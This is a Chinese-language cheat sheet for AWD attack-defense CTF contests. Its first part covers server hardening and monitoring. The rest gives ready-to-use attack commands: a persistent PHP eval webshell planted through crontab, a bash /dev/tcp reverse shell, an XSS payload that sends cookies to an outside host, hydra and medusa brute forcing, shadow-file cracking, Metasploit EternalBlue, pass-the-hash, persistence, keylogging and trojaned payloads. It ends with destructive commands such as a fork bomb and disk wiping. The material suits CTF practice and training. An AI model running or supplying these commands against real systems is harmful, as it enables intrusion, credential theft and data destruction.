AWD备忘

登录靶机

使用putty或命令通过ssh登录,并修改密码

1
2
3
ssh user@target_ip
passwd
ifconfig #查ip

查找网站根目录,并打包备份

1
2
3
4
find /var -name index.html 2>/dev/null
cd /var/www
tar -cvf /tmp/a.tar drupal-6.8
scp user@target_ip:/tmp/a.tar /tmp -r -P #将target_ip的/tmp/a.tar下载到本地/tmp,或通过Filezilla

防御加固

查找数据库登录权限,后台登陆权限,修改初始密码

使用MySQL Workbench或命令登录数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql -h localhost -P 3306 -u root -p
use mysql;
update user set password=PASSWORD('sdafa') where user='root';
update user set host='localhost' where user='root'; #禁止远程登录
flush privileges;

show databases;
select * from user;
use ctf4;
show tables;
show columns from table;

/var/lib/mysql/mysqldump -u root -p Test > Test0809.sql #备份数据库
/var/lib/mysql/mysqldump --all-databases > bak.sql #备份所有数据库
/var/lib/mysql/mysql -u root -p Test < Test0809.sql #还原数据库

Web网站目录设置只读权限

1
chmod -R 644 /var/www #-R递归到子目录

部署waf

将waf.php传到要包含的文件的目录,在所需要防护的页面加入代码,注意:waf脚本不能影响正常功能

常用CMS的config位置:

  • DEDECMS:data/common.inc.php PHPCMS: PHPCMS 2008的 include/config.inc.php PHPCMS v9的 caches/configs/database.php
  • 帝国CMS: e/class/config.php
  • Discuz论坛: config\config_global.php config\config_ucenter.php uc_server\data\config.inc.php
1
require_once('waf.php');

部署文件监控脚本

审查漏洞并进行加固

工具:D_safe或者Seay

1
2
php D:\ctf\tools\audit\chip.phar check d:\ctf\tools\web\Cknife -r html -o report.html #https://github.com/opensec-cn/chip
https://localhost/rips

常见:Webshell后门、SQL注入、文件包含、文件上传、RCE等

部署轻量级EDR系统

AoiAWD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
./aoiawd.phar
[2020-09-24 15:21:21] MainServer.notice: AccessToken: 0de8d57b3e91dc66 [] [] #<-- Web访问密钥
[2020-09-24 15:21:21] Amp\Http\Server\Server.info: Listening on http://0.0.0.0:1337/ [] [] #<-- Web前端地址
[2020-09-24 15:21:21] aoicommon\socket\AsyncTCPServer.info: Listening on 0.0.0.0:8023 [] [] #<-- 探针上线地址

#将tapeworm.phar、guardian.phar、roundworm复制到靶机。
#TapWorm PHP_Web的影子外壳,自动注入到所有PHP文件的头部,支持输入输出流量的抓取与上报
./tapeworm.phar -d /var/www/html -s 192.168.44.138:8023 #运行AoiAWD的IP:port

#Guardian 二进制PWN的影子外壳,每次被启动的时候透明记录STDIN与STDOUT的流量
./guardian.phar -i /var/www/a.out -s 192.168.44.138:8023

#RoundWorm 监控文件系统和进程的系统行为监视器
./roundworm -d -w /var/www;/tmp -s 192.168.44.138 -p 8023

awd-watchbird,慎用!!

1
2
3
4
将waf.so,watchbird.php文件存放在/var/www/html或其他目录中
将watchbird.php放在www-data可读的目录, 确保当前用户对目标目录可写, 然后执行php watchbird.php --install [Web目录], 安装器将输出安装了watchbird的文件路径
访问任意启用了waf的文件, 参数?watchbird=ui打开watchbird控制台, 创建一个初始密码
如需卸载, 请在相同的位置输入php watchbird.php --uninstall [Web目录], 如果您多次运行了安装, 请多次运行卸载直到卸载器无输出

杀不死马

1
2
3
4
5
ps aux | grep www-data | awk '{print $2}' | xargs kill -9

#权限足够时重启服务
service apache2 restart
service php restart

渗透入侵

1
2
3
4
5
6
7
8
9
10
11
#通过post写不死马
echo "<?php if(md5(\$_POST['md5'])=='61b69c634a38c0e37587a1141ef4effe'){@eval(\$_POST[a]);} ?>" > /var/www/html/.404.php

#nc反弹shell
bash -i >& /dev/tcp/192.168.1.1/8080 0>&1
nc -l -p 8080 #本地监听

#写不死马到crontab, crontab -r删除,-l列表
echo "*/1 * * * * echo \"<?php if(md5(\\$_POST['md5'])=='61b69c634a38c0e37587a1141ef4effe'){@eval(\\$_POST[a]);} ?>\" > /var/www/html/.404.php" | crontab

ln -s /flag /var/www/html/upload/footer.js #创建flag软连接,访问软连接/upload/footer.js

发现目标,nmap

1
2
3
4
5
6
7
nmap -sn -n 192.168.1.1/24 #主机发现
nmap -F -n 192.168.1.1/24 #快速扫描
nmap -A -Pn -T4 192.168.1.108 #全面扫描
nmap -A -vv -p 0-65535 -T4 192.168.1.108 #超详细扫描
nmap --script vuln 192.168.1.108 #扫漏洞
nmap -iL /flag -oN /var/www/html/abc.txt #读文件
nmap --script vmware-version -p443 <host> #查vmware服务器版本信息

密码在线暴力破解

medusa和hydra,大写字符接输入文件,小写字符接数值

1
2
3
4
5
6
7
8
medusa -M ssh -U /usr/share/wordlists/metasploit/unix_users.txt -P /usr/share/wordlists/metasploit/passwords.txt  -h 192.168.1.12 -t 50
medusa -M ssh -U user.txt -P pass.txt -t 50 -H target.txt

hydra -L user.txt -P pass.txt -M target.txt ssh
hydra -L user.txt -P pass.txt ssh://192.168.1.12
hydra  -L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh
hydra  -l root -p XDVgz9T6 -M target.txt mysql
# -v / -V / -d  verbose mode / show login+pass for each attempt / debug mode

破解散列值,john

1
2
3
4
5
6
7
8
9
10
11
john -w=1.txt /etc/shadow #尝试字典文件,常用字典文件有:/usr/share/john/password.lst和/usr/share/wordlists/rockyou.txt(需解压)
john /etc/shadow #不带字典文件情况下,先尝试“简单破解”(single crack)模式,然后使用带规则的单词表,最后是尝试“增强破解”(incremental)模式。
john --show /etc/shadow #列出所有被破解的密码
cat /root/.john/john.pot #等效于上一个命令,直接看文件
john hash  -1=?d?u --mask=?1?1?1?1 # 对长度为4的大写字母加数字的密码进行暴力破解
?l = abcdefghijklmnopqrstuvwxyz
?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
?d = 0123456789
?s =  !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
?a = ?l?u?d?s
?b = 0x00 - 0xff

XSS漏洞利用

1
2
python -m SimpleHTTPServer 12345 #运行python http服务器
<script>new image().src="http://192.168.1.127:12345/a.php?cookie=" + encodeURI(document.cookie);</script> #XSS攻击将管理员(Robot)的cookie上传

系统漏洞攻击,metasploit (msf)

六大模块:

  • 前期探测:Auxiliary
  • 攻击模块:Exploit(核心组件模块,包含针对各类操作系统漏洞的攻击代码 )、Payload(成功利用漏洞后使目标系统运行的某些操作的代码,通常为二进制的shellcode,最常用的payload是使目标系统反弹shell)
  • 后渗透模块:Post
  • 辅助器:Encoders、Nops
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
msfupdate;msfdb init;msfdb start #升级数据库,启动数据库

msfconsole #启动msf
search type:exploit platform:linux mysql
search smb #搜索exp
use exploit/windows/smb/ms17_010_eternalblue #选择最近,级别高(excellent/great/good)的exp
show payloads #查看适配当前exp的payload
set payload windows/x64/meterpreter/reverse_tcp #设置payload,常用meterpreter/reverse_tcp
show options (advanced) #查看需要配置的参数
set RHOST 192.168.1.1 #设置必要参数,如目标主机和端口
run #运行攻击

sessions -l #列出后台所有session
session -i 5 #重新启用session

use priv
hashdump #输出系统hash表
  Administrator:500:a9a1d510b01177d1aad3b435b51404ee:afc44ee7351d61d00698796da06b1ebf:::
background  #返回,等效于ctrl + Z,放入后台
use exploit/windows/smb/psexec
set smbuser Administrator
set smbpass a9a1d510b01177d1aad3b435b51404ee:afc44ee7351d61d00698796da06b1ebf
exploit

#反弹持续控制,重启后自动反连
run persistence -X -i 50 -p 8888 -r 192.168.43.47 #靶机
use exploit/multi/handler #攻击机
set exitonsession false #持续
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.43.47
set lport 8888
等价于:handler -p windows/meterpreter/reverse_tcp -H 192.168.43.47 -P 8888

migrate 553 #监控键盘,需要先迁移到explore进程
keyscan_start
keyscan_dump
keyscan_stop

#内网映射
run get_local_subnets
1.run autoroute -s 192.168.77.0/24
  run autoroute -p
2.把目标指定的内网段的路由添加在指定的session上:route add 192.168.77.0/24 1(session)
run arp_scanner -r 192.168.77.0/24
use auxiliary/scanner/portscan/tcp
use auxiliary/scanner/ftp/ftp_version

#向内网传输文件
nc -lp 8888 > bb #将监听到的信息重定向到bb
nc host 8888 < a.elf 或 connect -i a.elf host 8888
proxychain nc host 8888 < a.elf

#以计算器.exe为模板生成自动连接payload
msfvenom -p linux/x86/meterpreter/bind_tcp lhost=0.0.0.0 lport 7878 -f elf -o a.elf -k -x calculate.exe
use payload/windows/meterpreter/reverse_tcp
set lhost 192.168.43.47
generate -t exe -f a.exe

meterpreter常用命令

1
2
3
4
5
6
#文件相关
download/upload/cat/mv/pwd/ls
#系统相关
clearev/shell/ps/kill/sysinfo
#权限相关
getsystem/hashdump/timestomp

内网

内网代理

1
2
3
4
5
6
7
8
9
10
#正向sock5代理,https://github.com/idlefire/ew
./ew -s ssocksd -l 1080

#proxychains配置
vi /etc/proxychains.conf
socks5 192.168.44.138 1080

#反弹sock5
./ew -s rcsocks -l 1080 -e 8888 #公网vps
./ew -s rssocks -d 1.1.1.1 -e 8888 #目标主机

系统流量监控,需要root权限

1
2
3
4
5
tcpdump -i eth0 -w /tmp/xxx.pcap
ps -ef | grep apache
vi {APACHE_HOME}/conf/httpd.conf
vi {APACHE_HOME}/logs/access_log
vi /var/log/httpd/access.log

危险命令(慎用)

1
2
3
4
5
6
:(){ :|:& };: #fork炸弹,定义一个名为:的函数,并在前台和后台递归调用自己
rm -rf / 
whoami > /dev/sda
mkfs.ext3 /dev/sda
dd if=/dev/random of=/dev/sda
mv /var/www/html >  /dev/null